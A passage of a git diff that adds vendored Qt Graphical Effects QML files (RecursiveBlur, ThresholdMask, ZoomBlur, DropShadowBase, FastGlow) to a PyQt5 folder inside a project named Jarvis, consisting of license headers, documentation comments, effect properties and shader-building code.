QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-blur + \brief Blurs repeatedly, providing a strong blur effect. + + The RecursiveBlur effect softens the image by blurring it with an algorithm + that uses a recursive feedback loop to blur the source multiple times. The + effect may give more blurry results than + \l{QtGraphicalEffects::GaussianBlur}{GaussianBlur} or + \l{QtGraphicalEffects::FastBlur}{FastBlur}, but the result is produced + asynchronously and takes more time. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image RecursiveBlur_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet RecursiveBlur-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be blurred. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the distance of neighboring pixels which influence + the blurring of individual pixels. A larger radius provides better + quality, but is slower to render. + + \b Note: The radius value in this effect is not intended to be changed + or animated frequently. The correct way to use it is to set the correct + value and keep it unchanged for the whole duration of the iterative blur + sequence. + + The value ranges from (no blur) to 16.0 (maximum blur step). By default, + the property is set to \c 0.0 (no blur). + + \table + \header + \li Output examples with different radius values + \li + \li + \row + \li \image RecursiveBlur_radius1.png + \li \image RecursiveBlur_radius2.png + \li \image RecursiveBlur_radius3.png + \row + \li \b { radius: 2.5 } + \li \b { radius: 4.5 } + \li \b { radius: 7.5 } + \row + \li \l loops: 20 + \li \l loops: 20 + \li \l loops: 20 + \endtable + + */ + property real radius: 0.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + /*! + This property defines the blur behavior near the edges of the item, + where the pixel blurring is affected by the pixels outside the source + edges. + + If the property is set to \c true, the pixels outside the source are + interpreted to be transparent, which is similar to OpenGL + clamp-to-border extension. The blur is expanded slightly outside the + effect item area. + + If the property is set to \c false, the pixels outside the source are + interpreted to contain the same color as the pixels at the edge of the + item, which is similar to OpenGL clamp-to-edge behavior. The blur does + not expand outside the effect item area. + + By default, the property is set to \c false. + + \table + \header + \li Output examples with different transparentBorder values + \li + \li + \row + \li \image RecursiveBlur_transparentBorder1.png + \li \image RecursiveBlur_transparentBorder2.png + \row + \li \b { transparentBorder: false } + \li \b { transparentBorder: true } + \row + \li \l loops: 20 + \li \l loops: 20 + \row + \li \l radius: 7.5 + \li \l radius: 7.5 + \endtable + */ + property bool transparentBorder: false + + /*! + This property defines the amount of blur iterations that are going to be + performed for the source. When the property changes, the iterative + blurring process starts. If the value is decreased or if the value + changes from zero to non-zero, a snapshot is taken from the source. The + snapshot is used as a starting point for the process. + + The iteration loop tries to run as fast as possible. The speed might be + limited by the VSYNC or the time needed for one blur step, or both. + Sometimes it may be desirable to perform the blurring with a slower + pace. In that case, it may be convenient to control the property with + Animation which increases the value. + + The value ranges from 0 to inf. By default, the property is set to \c 0. + + \table + \header + \li Output examples with different loops values + \li + \li + \row + \li \image RecursiveBlur_loops1.png + \li \image RecursiveBlur_loops2.png + \li \image RecursiveBlur_loops3.png + \row + \li \b { loops: 4 } + \li \b { loops: 20 } + \li \b { loops: 70 } + \row + \li \l radius: 7.5 + \li \l radius: 7.5 + \li \l radius: 7.5 + \endtable + + */ + property int loops: 0 + + /*! + This property holds the progress of asynchronous source blurring + process, from 0.0 (nothing blurred) to 1.0 (finished). + */ + property real progress: loops > 0.0 ? Math.min(1.0, recursionTimer.counter / loops) : 0.0 + + onLoopsChanged: recursiveSource.scheduleUpdate() + onSourceChanged: recursionTimer.reset() + onRadiusChanged: recursionTimer.reset() + onTransparentBorderChanged: recursionTimer.reset() + + SourceProxy { + id: sourceProxy + input: rootItem.source + sourceRect: rootItem.transparentBorder ? Qt.rect(-1, -1, parent.width + 2, parent.height + 2) : Qt.rect(0, 0, 0, 0) + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: verticalBlur + smooth: true + visible: rootItem.cached + hideSource: visible + live: true + sourceItem: inputItem.visible ? inputItem : verticalBlur + } + + Item { + id: recursionTimer + property int counter: 0 + + function reset() { + counter = 0 + recursiveSource.scheduleUpdate() + } + + function nextFrame() { + if (loops < counter) + recursionTimer.counter = 0 + + if (counter > 0) + recursiveSource.sourceItem = verticalBlur + else + recursiveSource.sourceItem = inputItem + + if (counter < loops) { + recursiveSource.scheduleUpdate() + counter++ + } + } + } + + ShaderEffect { + id: inputItem + property variant source: sourceProxy.output + property real expandX: rootItem.transparentBorder ? (horizontalBlur.maximumRadius) / horizontalBlur.width : 0.0 + property real expandY: rootItem.transparentBorder ? (horizontalBlur.maximumRadius) / horizontalBlur.height : 0.0 + + anchors.fill: verticalBlur + visible: !verticalBlur.visible + + vertexShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/recursiveblur.vert" + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/recursiveblur.frag" + } + + ShaderEffectSource { + id: recursiveSource + visible: false + smooth: true + hideSource: false + live: false + sourceItem: inputItem + recursive: true + onSourceItemChanged: scheduleUpdate() + onScheduledUpdateCompleted: recursionTimer.nextFrame() + } + + GaussianDirectionalBlur { + id: verticalBlur + x: rootItem.transparentBorder ? -horizontalBlur.maximumRadius - 1 : 0 + y: rootItem.transparentBorder ? -horizontalBlur.maximumRadius - 1 : 0 + width: horizontalBlur.width + 2 + height: horizontalBlur.height + 2 + + horizontalStep: 0.0 + verticalStep: 1.0 / parent.height + + source: ShaderEffectSource { + sourceItem: horizontalBlur + hideSource: true + visible: false + smooth: true + } + + deviation: (radius + 1) / 2.3333 + radius: rootItem.radius + maximumRadius: Math.ceil(rootItem.radius) + transparentBorder: false + visible: loops > 0 + } + + GaussianDirectionalBlur { + id: horizontalBlur + width: rootItem.transparentBorder ? parent.width + 2 * maximumRadius + 2 : parent.width + height: rootItem.transparentBorder ? parent.height + 2 * maximumRadius + 2 : parent.height + + horizontalStep: 1.0 / parent.width + verticalStep: 0.0 + + source: recursiveSource + deviation: (radius + 1) / 2.3333 + radius: rootItem.radius + maximumRadius: Math.ceil(rootItem.radius) + transparentBorder: false + visible: false + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ThresholdMask.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ThresholdMask.qml new file mode 100644 index 00000000..204d8c93 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ThresholdMask.qml @@ -0,0 +1,215 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype ThresholdMask + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-mask + \brief Masks the source item with another item and applies a threshold + value. + + The masking behavior can be controlled with the \l threshold value for the + mask pixels. + + \table + \header + \li Source + \li MaskSource + \li Effect applied + \row + \li \image Original_bug.png + \li \image ThresholdMask_mask.png + \li \image ThresholdMask_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet ThresholdMask-example.qml example +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be masked. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the item that is going to be used as the mask. + Mask item gets rendered into an intermediate pixel buffer and the alpha + values from the result are used to determine the source item's pixels + visibility in the display. + + \table + \header + \li Original + \li Mask + \li Effect applied + \row + \li \image Original_bug.png + \li \image ThresholdMask_mask.png + \li \image ThresholdMask_bug.png + \endtable + + \note It is not supported to let the effect include itself, for + instance by setting maskSource to the effect's parent. + */ + property variant maskSource + + /*! + This property defines a threshold value for the mask pixels. The mask + pixels that have an alpha value below this property are used to + completely mask away the corresponding pixels from the source item. The + mask pixels that have a higher alpha value are used to alphablend the + source item to the display. + + The value ranges from 0.0 (alpha value 0) to 1.0 (alpha value 255). By + default, the property is set to \c 0.0. + + \table + \header + \li Output examples with different threshold values + \li + \li + \row + \li \image ThresholdMask_threshold1.png + \li \image ThresholdMask_threshold2.png + \li \image ThresholdMask_threshold3.png + \row + \li \b { threshold: 0.0 } + \li \b { threshold: 0.5 } + \li \b { threshold: 0.7 } + \row + \li \l spread: 0.2 + \li \l spread: 0.2 + \li \l spread: 0.2 + \endtable + */ + property real threshold: 0.0 + + /*! + This property defines the smoothness of the mask edges near the + \l{ThresholdMask::threshold}{threshold} alpha value. Setting spread to + 0.0 uses mask normally with the specified threshold. Setting higher + spread values softens the transition from the transparent mask pixels + towards opaque mask pixels by adding interpolated values between them. + + The value ranges from 0.0 (sharp mask edge) to 1.0 (smooth mask edge). + By default, the property is set to \c 0.0. + + \table + \header + \li Output examples with different spread values + \li + \li + \row + \li \image ThresholdMask_spread1.png + \li \image ThresholdMask_spread2.png + \li \image ThresholdMask_spread3.png + \row + \li \b { spread: 0.0 } + \li \b { spread: 0.2 } + \li \b { spread: 0.8 } + \row + \li \l threshold: 0.4 + \li \l threshold: 0.4 + \li \l threshold: 0.4 + \endtable + + */ + property real spread: 0.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.maskSource + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property variant maskSource: maskSourceProxy.output + property real threshold: rootItem.threshold + property real spread: rootItem.spread + + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/thresholdmask.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ZoomBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ZoomBlur.qml new file mode 100644 index 00000000..66ba7102 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ZoomBlur.qml @@ -0,0 +1,306 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype ZoomBlur + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-motion-blur + \brief Applies directional blur effect towards source items center point. + + Effect creates perceived impression that the source item appears to be + moving towards the center point in Z-direction or that the camera appears + to be zooming rapidly. Other available motion blur effects are + \l{QtGraphicalEffects::DirectionalBlur}{DirectionalBlur} + and \l{QtGraphicalEffects::RadialBlur}{RadialBlur}. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image ZoomBlur_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet ZoomBlur-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be blurred. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the maximum perceived amount of movement for each + pixel. The amount is smaller near the center and reaches the specified + value at the edges. + + The quality of the blur depends on \l{ZoomBlur::samples}{samples} + property. If length value is large, more samples are needed to keep the + visual quality at high level. + + The value ranges from 0.0 to inf. By default the property is set to \c + 0.0 (no blur). + + \table + \header + \li Output examples with different length values + \li + \li + \row + \li \image ZoomBlur_length1.png + \li \image ZoomBlur_length2.png + \li \image ZoomBlur_length3.png + \row + \li \b { length: 0.0 } + \li \b { length: 32.0 } + \li \b { length: 48.0 } + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + + */ + property real length: 0.0 + + /*! + This property defines how many samples are taken per pixel when blur + calculation is done. Larger value produces better quality, but is slower + to render. + + This property is not intended to be animated. Changing this property may + cause the underlying OpenGL shaders to be recompiled. + + Allowed values are between 0 and inf (practical maximum depends on GPU). + By default the property is set to \c 0 (no samples). + + */ + property int samples: 0 + + /*! + \qmlproperty real QtGraphicalEffects::ZoomBlur::horizontalOffset + \qmlproperty real QtGraphicalEffects::ZoomBlur::verticalOffset + + These properties define an offset in pixels for the blur direction + center point. + + The values range from -inf to inf. By default these properties are set + to \c 0. + + \table + \header + \li Output examples with different horizontalOffset values + \li + \li + \row + \li \image ZoomBlur_horizontalOffset1.png + \li \image ZoomBlur_horizontalOffset2.png + \li \image ZoomBlur_horizontalOffset3.png + \row + \li \b { horizontalOffset: 100.0 } + \li \b { horizontalOffset: 0.0 } + \li \b { horizontalOffset: -100.0 } + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l length: 32 + \li \l length: 32 + \li \l length: 32 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + */ + property real horizontalOffset: 0.0 + property real verticalOffset: 0.0 + + /*! + This property defines the blur behavior near the edges of the item, + where the pixel blurring is affected by the pixels outside the source + edges. + + If the property is set to \c true, the pixels outside the source are + interpreted to be transparent, which is similar to OpenGL + clamp-to-border extension. The blur is expanded slightly outside the + effect item area. + + If the property is set to \c false, the pixels outside the source are + interpreted to contain the same color as the pixels at the edge of the + item, which is similar to OpenGL clamp-to-edge behavior. The blur does + not expand outside the effect item area. + + By default, the property is set to \c false. + + */ + property bool transparentBorder: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + sourceRect: rootItem.transparentBorder ? Qt.rect(-1, -1, parent.width + 2.0, parent.height + 2.0) : Qt.rect(0, 0, 0, 0) + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property variant center: Qt.point(0.5 + rootItem.horizontalOffset / width, 0.5 + rootItem.verticalOffset / height) + property real len: rootItem.length + property bool transparentBorder: rootItem.transparentBorder + property real samples: rootItem.samples + property real weight: 1.0 / Math.max(1.0, rootItem.samples) + property variant expandPixels: transparentBorder ? Qt.size(rootItem.samples, rootItem.samples) : Qt.size(0,0) + property variant expand: transparentBorder ? Qt.size(expandPixels.width / width, expandPixels.height / height) : Qt.size(0,0) + property variant delta: Qt.size(1.0 / rootItem.width, 1.0 / rootItem.height) + + x: transparentBorder ? -expandPixels.width - 1 : 0 + y: transparentBorder ? -expandPixels.height - 1 : 0 + width: transparentBorder ? parent.width + 2.0 * expandPixels.width + 2 : parent.width + height: transparentBorder ? parent.height + 2.0 * expandPixels.height + 2 : parent.height + + property string fragmentShaderSkeleton: " + varying highp vec2 qt_TexCoord0; + uniform highp float qt_Opacity; + uniform lowp sampler2D source; + uniform highp float len; + uniform highp float weight; + uniform highp float samples; + uniform highp vec2 center; + uniform highp vec2 expand; + uniform highp vec2 delta; + + void main(void) { + mediump vec2 texCoord = qt_TexCoord0; + mediump vec2 centerCoord = center; + + PLACEHOLDER_EXPAND_STEPS + + highp vec2 dir = vec2(centerCoord.x - texCoord.s, centerCoord.y - texCoord.t); + dir /= max(1.0, length(dir) * 2.0); + highp vec2 shift = delta * len * dir * 2.0 / max(1.0, samples - 1.0); + gl_FragColor = vec4(0.0); + + PLACEHOLDER_UNROLLED_LOOP + + gl_FragColor *= weight * qt_Opacity; + } + " + + function buildFragmentShader() { + var shader = "" + if (GraphicsInfo.profile == GraphicsInfo.OpenGLCoreProfile) + shader += "#version 150 core\n#define varying in\n#define gl_FragColor fragColor\n#define texture2D texture\nout vec4 fragColor;\n" + shader += fragmentShaderSkeleton + var expandSteps = "" + + if (transparentBorder) { + expandSteps += "centerCoord = (centerCoord - expand) / (1.0 - 2.0 * expand);" + expandSteps += "texCoord = (texCoord - expand) / (1.0 - 2.0 * expand);" + } + + var unrolledLoop = "gl_FragColor += texture2D(source, texCoord);\n" + + if (rootItem.samples > 1) { + unrolledLoop = "" + for (var i = 0; i < rootItem.samples; i++) + unrolledLoop += "gl_FragColor += texture2D(source, texCoord); texCoord += shift;\n" + } + + shader = shader.replace("PLACEHOLDER_EXPAND_STEPS", expandSteps) + fragmentShader = shader.replace("PLACEHOLDER_UNROLLED_LOOP", unrolledLoop) + } + + onFragmentShaderChanged: sourceChanged() + onSamplesChanged: buildFragmentShader() + onTransparentBorderChanged: buildFragmentShader() + Component.onCompleted: buildFragmentShader() + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/plugins.qmltypes new file mode 100644 index 00000000..f8058435 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/plugins.qmltypes @@ -0,0 +1,11 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtGraphicalEffects 1.15' + +Module { + dependencies: ["QtQuick 2.12", "QtQuick.Window 2.12"] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/DropShadowBase.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/DropShadowBase.qml new file mode 100644 index 00000000..e9927ea4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/DropShadowBase.qml @@ -0,0 +1,99 @@ +/**************************************************************************** +** +** Copyright (C) 2017 Jolla Ltd, author: +** Contact: http://www.qt-project.org/legal +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Window 2.12 +import QtGraphicalEffects.private 1.12 +import QtGraphicalEffects 1.12 + +Item { + id: root + + property variant source + property real radius: Math.floor(samples / 2) + property int samples: 9 + property color color: "black" + property real horizontalOffset: 0 + property real verticalOffset: 0 + property real spread: 0.0 + property bool cached: false + property bool transparentBorder: true + + GaussianBlur { + id: blur + width: parent.width + height: parent.height + x: Math.round(horizontalOffset) + y: Math.round(verticalOffset) + source: root.source + radius: root.radius * Screen.devicePixelRatio + samples: root.samples * Screen.devicePixelRatio + _thickness: root.spread + transparentBorder: root.transparentBorder + + + _color: root.color; + _alphaOnly: true + // ignoreDevicePixelRatio: root.ignoreDevicePixelRatio + + ShaderEffect { + x: blur._outputRect.x - parent.x + y: blur._outputRect.y - parent.y + width: transparentBorder ? blur._outputRect.width : blur.width + height: transparentBorder ? blur._outputRect.height : blur.height + property variant source: blur._output; + } + + } + + ShaderEffectSource { + id: cacheItem + x: -blur._kernelRadius + horizontalOffset + y: -blur._kernelRadius + verticalOffset + width: blur.width + 2 * blur._kernelRadius + height: blur.height + 2 * blur._kernelRadius + visible: root.cached + smooth: true + sourceRect: Qt.rect(-blur._kernelRadius, -blur._kernelRadius, width, height); + sourceItem: blur + hideSource: visible + } + + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/DropShadowBase.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/DropShadowBase.qmlc new file mode 100644 index 00000000..6d90ee60 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/DropShadowBase.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastGlow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastGlow.qml new file mode 100644 index 00000000..5c737f1f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/private/FastGlow.qml @@ -0,0 +1,331 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +Item { + id: rootItem + property variant source + property real spread: 0.0 + property real blur: 0.0 + property color color: "white" + property bool transparentBorder: false + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + property string __internalBlurVertexShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.vert" + + property string __internalBlurFragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.frag" + + ShaderEffect { + id: level0 + property variant source: sourceProxy.output + anchors.fill: parent + visible: false + smooth: true + } + + ShaderEffectSource { + id: level1 + width: Math.ceil(shaderItem.width / 32) * 32 + height: Math.ceil(shaderItem.height / 32) * 32 + sourceItem: level0 + hideSource: rootItem.visible + sourceRect: transparentBorder ? Qt.rect(-64, -64, shaderItem.width, shaderItem.height) : Qt.rect(0,0,0,0) + smooth: true + visible: false + } + + ShaderEffect { + id: effect1 + property variant source: level1 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level2 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level2 + width: level1.width / 2 + height: level1.height / 2 + sourceItem: effect1 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect2 + property variant source: level2 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level3 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level3 + width: level2.width / 2 + height: level2.height / 2 + sourceItem: effect2 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect3 + property variant source: level3 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level4 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level4 + width: level3.width / 2 + height: level3.height / 2 + sourceItem: effect3 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect4 + property variant source: level4 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level5 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level5 + width: level4.width / 2 + height: level4.height / 2 + sourceItem: effect4 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect5 + property variant source: level5 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level6 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level6 + width: level5.width / 2 + height: level5.height / 2 + sourceItem: effect5 + hideSource: rootItem.visible + visible: false + smooth: true + } + + Item { + id: dummysource + width: 1 + height: 1 + visible: false + } + + ShaderEffectSource { + id: dummy + width: 1 + height: 1 + sourceItem: dummysource + visible: false + smooth: false + live: false + } + + ShaderEffect { + id: shaderItem + x: transparentBorder ? -64 : 0 + y: transparentBorder ? -64 : 0 + width: transparentBorder ? parent.width + 128 : parent.width + height: transparentBorder ? parent.height + 128 : parent.height + + property variant source1: level1 + property variant source2: level2 + property variant source3: level3 + property variant source4: level4 + property variant source5: level5 + property variant source6: level6 + property real lod: rootItem.blur + + property real weight1; + property real weight2; + property real weight3; + property real weight4; + property real weight5; + property real weight6; + + property real spread: 1.0 - (rootItem.spread * 0.98) + property alias color: rootItem.color + + function weight(v) { + if (v <= 0.0) + return 1 + if (v >= 0.5) + return 0 + + return 1.0 - v / 0.5 + } + + function calculateWeights() { + + var w1 = weight(Math.abs(lod - 0.100)) + var w2 = weight(Math.abs(lod - 0.300)) + var w3 = weight(Math.abs(lod - 0.500)) + var w4 = weight(Math.abs(lod - 0.700)) + var 